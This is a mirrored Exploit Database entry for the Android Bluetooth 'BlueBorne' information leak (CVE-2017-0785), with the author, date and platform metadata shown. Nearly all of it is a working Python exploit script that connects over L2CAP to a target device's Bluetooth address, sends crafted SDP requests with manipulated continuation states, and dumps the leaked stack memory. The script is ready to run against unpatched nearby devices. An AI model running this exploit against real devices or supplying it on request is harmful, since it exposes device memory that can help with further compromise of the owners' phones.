Android Bluetooth – ‘Blueborne’ Information Leak (2)

• Exploit Database
• 118 阅读

• 作者： Kert Ojasoo
  日期： 2017-09-20
• 类别：

  • remote
  平台：

  • android
• 来源：https://www.exploit-db.com/exploits/44555/
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  from pwn import * import bluetooth   if not 'TARGET' in args: log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX") exit()   target = args['TARGET'] service_long = 0x0100 service_short = 0x0001 mtu = 50 n = 30   def packet(service, continuation_state): pkt = '\x02\x00\x00' pkt += p16(7 + len(continuation_state)) pkt += '\x35\x03\x19' pkt += p16(service) pkt += '\x01\x00' pkt += continuation_state return pkt   p = log.progress('Exploit') p.status('Creating L2CAP socket')   sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big'   p.status('Connecting to target') sock.connect((target, 1))   p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu)   if data[-3] != '\x02': log.error('Invalid continuation state received.')   stack = ''   for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) data = sock.recv(mtu) stack += data[9:-3]   sock.close()   p.success('Done')   print hexdump(stack)